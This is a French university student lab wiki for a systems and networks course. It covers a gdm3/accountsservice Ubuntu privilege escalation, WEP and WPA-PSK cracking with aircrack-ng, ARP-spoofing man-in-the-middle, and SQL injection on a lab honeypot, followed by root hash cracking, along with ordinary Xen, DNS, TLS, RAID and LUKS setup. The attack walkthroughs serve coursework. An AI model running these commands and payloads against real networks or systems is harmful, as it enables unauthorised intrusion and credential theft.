Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54276</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54276"/>
				<updated>2020-12-06T01:05:03Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==4.4 Sécurisation de serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
